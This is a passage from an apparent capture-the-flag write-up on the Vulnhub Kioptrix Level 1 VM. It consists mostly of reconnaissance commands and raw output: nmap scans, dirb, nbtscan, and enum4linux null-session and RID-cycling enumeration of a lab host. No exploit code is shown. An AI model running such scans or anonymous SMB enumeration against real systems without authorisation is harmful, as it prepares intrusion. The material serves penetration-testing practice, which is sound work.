This document is for educational purposes only, I take no responsibility for other peoples actions. This is a review of the VM Kioptrix L1 from Vulnhub - a site dedicated to penetration testing Capture The Flag challenges.
Download the VM from here: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.180.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.180.2 00:50:56:f9:f6:4a 1 60 VMware, Inc.
192.168.180.135 00:0c:29:3a:f9:d4 1 60 VMware, Inc.
192.168.180.254 00:50:56:f9:fc:05 1 60 VMware, Inc.
nmap -sV -T4 -O -F --version-light 192.168.180.135
Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-29 02:48 EDT
Nmap scan report for 192.168.180.135
Host is up (0.00056s latency).
Not shown: 95 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
MAC Address: 00:0C:29:3A:F9:D4 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
nmap -sC -sS -T4 -A -v -v -Pn 192.168.180.135
Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-29 03:58 EDT
NSE: Loaded 132 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 0.00s elapsed
Initiating ARP Ping Scan at 03:58
Scanning 192.168.180.135 [1 port]
Completed ARP Ping Scan at 03:58, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:58
Completed Parallel DNS resolution of 1 host. at 03:58, 0.01s elapsed
Initiating SYN Stealth Scan at 03:58
Scanning 192.168.180.135 [1000 ports]
Discovered open port 139/tcp on 192.168.180.135
Discovered open port 443/tcp on 192.168.180.135
Discovered open port 111/tcp on 192.168.180.135
Discovered open port 80/tcp on 192.168.180.135
Discovered open port 22/tcp on 192.168.180.135
Discovered open port 1024/tcp on 192.168.180.135
Completed SYN Stealth Scan at 03:58, 0.05s elapsed (1000 total ports)
Initiating Service scan at 03:58
Scanning 6 services on 192.168.180.135
Completed Service scan at 03:58, 12.09s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against 192.168.180.135
NSE: Script scanning 192.168.180.135.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 8.12s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 0.00s elapsed
Nmap scan report for 192.168.180.135
Host is up, received arp-response (0.00032s latency).
Scanned at 2016-06-29 03:58:33 EDT for 21s
Not shown: 994 closed ports
Reason: 994 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 35 109482092953601530927446985143812377560925655194254170270380314520841776849335628258408994190413716152105684423280369467219093526740118507720167655934779634416983599247086840099503203800281526143567271862466057363705861760702664279290804439502645034586412570490614431533437479630834594344497670338190191879537
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKtycvxuV/e7s2cN74HyTZXHXiBrwyiZe/PKT/inuT5NDSQTPsGiyJZU4gefPAsYKSw5wLe28TDlZWHAdXpNdwyn4QrFQBjwFR+8WbFiAZBoWlSfQPR2RQW8i32Y2P2V79p4mu742HtWBz0hTjkd9qL5j8KCUPDfY9hzDuViWy7PAAAAFQCY9bvq+5rs1OpY5/DGsGx0k6CqGwAAAIBVpBtIHbhvoQdN0WPe8d6OzTTFvdNRa8pWKzV1Hpw+e3qsC4LYHAy1NoeaqK8uJP9203MEkxrd2OoBJKn/8EXlKAco7vC1dr/QWae+NEkI1a38x0Ml545vHAGFaVUWkffHekjhR476Uq4N4qeLfFp5B+v+9flLxYVYsY/ymJKpNgAAAIEApyjrqjgX0AE4fSBFntGFWM3j5M3lc5jw/0qufXlHJu8sZG0FRf9wTI6HlJHHsIKHA7FZ33vGLq3TRmvZucJZ0l55fV2ASS9uvQRE+c8P6w72YCzgJN7v4hYXxnY4RiWvINjW/F6ApQEUJc742i6Fn54FEYAIy5goatGFMwpVq3Q=
| 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/rTWY72jElft4WXfXGWybh141E8XnWxMCu+R1qdocxhh+4Clz8wO9beuZzG1rjlAD+XHiR3j2P+sw6UODeyBkuP24a+7V8P5nu9ksKD1fA83RyelgSgRJNQgPfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=
|_sshv1: Server supports SSHv1
80/tcp open http syn-ack ttl 64 Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind syn-ack ttl 64 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http syn-ack ttl 64 Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after: 2010-09-26T09:32:06
| MD5: 78ce 5293 4723 e7fe c28d 74ab 42d7 02f1
| SHA-1: 9c42 91c3 bed2 a95b 983d 10ac f766 ecb9 8766 1d33
| -----BEGIN CERTIFICATE-----
| MIIEDDCCA3WgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBuzELMAkGA1UEBhMCLS0x
| EjAQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoT
| EFNvbWVPcmdhbml6YXRpb24xHzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVu
| aXQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJ
| ARYacm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4wHhcNMDkwOTI2MDkzMjA2WhcN
| MTAwOTI2MDkzMjA2WjCBuzELMAkGA1UEBhMCLS0xEjAQBgNVBAgTCVNvbWVTdGF0
| ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNvbWVPcmdhbml6YXRpb24x
| HzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVuaXQxHjAcBgNVBAMTFWxvY2Fs
| aG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJARYacm9vdEBsb2NhbGhvc3Qu
| bG9jYWxkb21haW4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4BXiK5bWlS
| ob4B6a9ALmKDbSxqoMcM3pvGHscFsJs+fHHn+CjU1DX44LPDNOwwOl6Uqb+GtZJv
| 6juVetDwcTbbocC2BM+6x6gyV/H6aYuCssCwrOuVKWp7l9xVpadjITUmhh+uB81q
| yqopt//Z4THww7SezLJQXi1+Grmp3iFDAgMBAAGjggEcMIIBGDAdBgNVHQ4EFgQU
| 7OdRS0NrbNB8gE9qUjcw8LF8xKAwgegGA1UdIwSB4DCB3YAU7OdRS0NrbNB8gE9q
| Ujcw8LF8xKChgcGkgb4wgbsxCzAJBgNVBAYTAi0tMRIwEAYDVQQIEwlTb21lU3Rh
| dGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQKExBTb21lT3JnYW5pemF0aW9u
| MR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uYWxVbml0MR4wHAYDVQQDExVsb2Nh
| bGhvc3QubG9jYWxkb21haW4xKTAnBgkqhkiG9w0BCQEWGnJvb3RAbG9jYWxob3N0
| LmxvY2FsZG9tYWluggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEA
| Vgrmpprfkmd8vy0E0UmZvWdIcDrIYRvUWcwSFwc6bGqJeJr0CYSB+jDQzA6Cu7nt
| xjrlXxEjHFBBbF4iEMJDnuQTFGvICQIcrqJoH3lqAO73u4TeBDjhv5n+h+S37CHd
| 1lvgRgoOay9dWaLKOyUThgKF2HcPWMZIj2froo5eihM=
|_-----END CERTIFICATE-----
|_ssl-date: 2016-06-29T08:00:37+00:00; +1m50s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
1024/tcp open status syn-ack ttl 64 1 (RPC #100024)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
MAC Address: 00:0C:29:3A:F9:D4 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
TCP/IP fingerprint:
OS:SCAN(V=7.01%E=4%D=6/29%OT=22%CT=1%CU=30668%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=57737FBE%P=i586-pc-linux-gnu)SEQ(SP=C7%GCD=1%ISR=CE%TI=Z%CI=Z%II=I%TS=
OS:7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=M5
OS:B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A
OS:0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST11NW
OS:0%RD=0%Q=)T4(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=FF%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=FF%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=FF%CD=S)
Uptime guess: 0.064 days (since Wed Jun 29 02:26:20 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=199 (Good luck!)
IP ID Sequence Generation: All zeros
Host script results:
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| KIOPTRIX<00> Flags: <unique><active>
| KIOPTRIX<03> Flags: <unique><active>
| KIOPTRIX<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| MYGROUP<00> Flags: <group><active>
| MYGROUP<1d> Flags: <unique><active>
| MYGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 55330/tcp): CLEAN (Couldn't connect)
| Check 2 (port 49019/tcp): CLEAN (Couldn't connect)
| Check 3 (port 34412/udp): CLEAN (Failed to receive data)
| Check 4 (port 19260/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
TRACEROUTE
HOP RTT ADDRESS
1 0.32 ms 192.168.180.135
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 03:58
Completed NSE at 03:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.37 seconds
Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.362KB)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds
nmap -sC -sU -T4 -A -v -v -Pn –top-ports 200 192.168.180.135
dirb http://192.168.180.135
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jun 29 03:37:18 2016
URL_BASE: http://192.168.180.135/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.180.135/ ----
+ http://192.168.180.135/~operator (CODE:403|SIZE:273)
+ http://192.168.180.135/~root (CODE:403|SIZE:269)
+ http://192.168.180.135/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.180.135/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.180.135/manual/
==> DIRECTORY: http://192.168.180.135/mrtg/
==> DIRECTORY: http://192.168.180.135/usage/
---- Entering directory: http://192.168.180.135/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.180.135/mrtg/ ----
+ http://192.168.180.135/mrtg/index.html (CODE:200|SIZE:17318)
---- Entering directory: http://192.168.180.135/usage/ ----
+ http://192.168.180.135/usage/index.html (CODE:200|SIZE:3704)
-----------------
END_TIME: Wed Jun 29 03:37:24 2016
DOWNLOADED: 13836 - FOUND: 6
Latest Release: MRTG 2.9.6
nbtscan 192.168.180.135
Doing NBT name scan for addresses from 192.168.180.135
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.180.135 KIOPTRIX <server> KIOPTRIX 00:00:00:00:00:00
enum4linux -a 192.168.180.135
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jun 29 03:48:40 2016
==========================
| Target Information |
==========================
Target ........... 192.168.180.135
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=======================================================
| Enumerating Workgroup/Domain on 192.168.180.135 |
=======================================================
[+] Got domain/workgroup name: MYGROUP
===============================================
| Nbtstat Information for 192.168.180.135 |
===============================================
Looking up status of 192.168.180.135
KIOPTRIX <00> - B <ACTIVE> Workstation Service
KIOPTRIX <03> - B <ACTIVE> Messenger Service
KIOPTRIX <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP <1d> - B <ACTIVE> Master Browser
MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
========================================
| Session Check on 192.168.180.135 |
========================================
[+] Server 192.168.180.135 allows sessions using username '', password ''
==============================================
| Getting domain SID for 192.168.180.135 |
==============================================
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=========================================
| OS information on 192.168.180.135 |
=========================================
[+] Got OS info for 192.168.180.135 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for 192.168.180.135 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
================================
| Users on 192.168.180.135 |
================================
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.
Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.
============================================
| Share Enumeration on 192.168.180.135 |
============================================
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
--- ---------
MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.180.135
//192.168.180.135/IPC$ [E] Can't understand response:
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.180.135/ADMIN$ [E] Can't understand response:
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
tree connect failed: NT_STATUS_WRONG_PASSWORD
=======================================================
| Password Policy Information for 192.168.180.135 |
=======================================================
[E] Unexpected error from polenum:
[+] Attaching to 192.168.180.135 using a NULL share
[+] Trying protocol 445/SMB...
[!] Protocol failed: [Errno 111] Connection refused (192.168.180.135:445)
[+] Trying protocol 139/SMB...
[!] Protocol failed: ('unpack requires a string argument of length 4', "When unpacking field 'representation | <L=0x10 | '\\x00'[:4]'")
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 0
=================================
| Groups on 192.168.180.135 |
=================================
[+] Getting builtin groups:
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Power Users] rid:[0x223]
group:[Account Operators] rid:[0x224]
group:[System Operators] rid:[0x225]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
[+] Getting builtin group memberships:
Group 'Replicator' (RID: 552) has member: Couldn't find group Replicator
Group 'Users' (RID: 545) has member: Couldn't find group Users
Group 'System Operators' (RID: 549) has member: Couldn't find group System Operators
Group 'Account Operators' (RID: 548) has member: Couldn't find group Account Operators
Group 'Administrators' (RID: 544) has member: Couldn't find group Administrators
Group 'Guests' (RID: 546) has member: Couldn't find group Guests
Group 'Power Users' (RID: 547) has member: Couldn't find group Power Users
Group 'Backup Operators' (RID: 551) has member: Couldn't find group Backup Operators
Group 'Print Operators' (RID: 550) has member: Couldn't find group Print Operators
[+] Getting local groups:
group:[sys] rid:[0x3ef]
group:[tty] rid:[0x3f3]
group:[disk] rid:[0x3f5]
group:[mem] rid:[0x3f9]
group:[kmem] rid:[0x3fb]
group:[wheel] rid:[0x3fd]
group:[man] rid:[0x407]
group:[dip] rid:[0x439]
group:[lock] rid:[0x455]
group:[users] rid:[0x4b1]
group:[slocate] rid:[0x413]
group:[floppy] rid:[0x40f]
group:[utmp] rid:[0x415]
[+] Getting local group memberships:
[+] Getting domain groups:
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
[+] Getting domain group memberships:
Group 'Domain Users' (RID: 513) has member: Couldn't find group Domain Users
Group 'Domain Admins' (RID: 512) has member: Couldn't find group Domain Admins
==========================================================================
| Users on 192.168.180.135 via RID cycling (RIDS: 500-550,1000-1050) |
==========================================================================
[I] Found new SID: S-1-5-21-4157223341-3243572438-1405127623
[+] Enumerating users using SID S-1-5-21-4157223341-3243572438-1405127623 and logon username '', password ''
S-1-5-21-4157223341-3243572438-1405127623-500 KIOPTRIX\
(0)
S-1-5-21-4157223341-3243572438-1405127623-501 KIOPTRIX\ (0)
S-1-5-21-4157223341-3243572438-1405127623-502 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-503 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-504 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-505 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-506 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-507 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-508 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-509 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-510 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-511 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-512 KIOPTRIX\Domain Admins (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-513 KIOPTRIX\Domain Users (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-514 KIOPTRIX\Domain Guests (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-515 KIOPTRIX\unix_group.2147483405 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-516 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-517 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-518 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-519 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-520 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-521 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-522 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-523 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-524 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-525 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-526 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-527 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-528 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-529 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-530 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-531 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-532 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-533 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-534 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-535 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-536 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-537 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-538 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-539 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-540 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-541 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-542 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-543 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-544 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-545 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-546 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-547 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-548 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-549 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-550 KIOPTRIX\unix_group.2147483423 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1000 KIOPTRIX\root (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1001 KIOPTRIX\root (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1002 KIOPTRIX\bin (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1003 KIOPTRIX\bin (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1004 KIOPTRIX\daemon (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1005 KIOPTRIX\daemon (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1006 KIOPTRIX\adm (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1007 KIOPTRIX\sys (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1008 KIOPTRIX\lp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1009 KIOPTRIX\adm (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1010 KIOPTRIX\sync (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1011 KIOPTRIX\tty (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1012 KIOPTRIX\shutdown (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1013 KIOPTRIX\disk (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1014 KIOPTRIX\halt (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1015 KIOPTRIX\lp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1016 KIOPTRIX\mail (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1017 KIOPTRIX\mem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1018 KIOPTRIX\news (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1019 KIOPTRIX\kmem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1020 KIOPTRIX\uucp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1021 KIOPTRIX\wheel (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1022 KIOPTRIX\operator (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1023 KIOPTRIX\unix_group.11 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1024 KIOPTRIX\games (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1025 KIOPTRIX\mail (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1026 KIOPTRIX\gopher (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1027 KIOPTRIX\news (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1028 KIOPTRIX\ftp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1029 KIOPTRIX\uucp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1030 KIOPTRIX\unix_user.15 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1031 KIOPTRIX\man (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1032 KIOPTRIX\unix_user.16 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1033 KIOPTRIX\unix_group.16 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1034 KIOPTRIX\unix_user.17 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1035 KIOPTRIX\unix_group.17 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1036 KIOPTRIX\unix_user.18 (Local User)
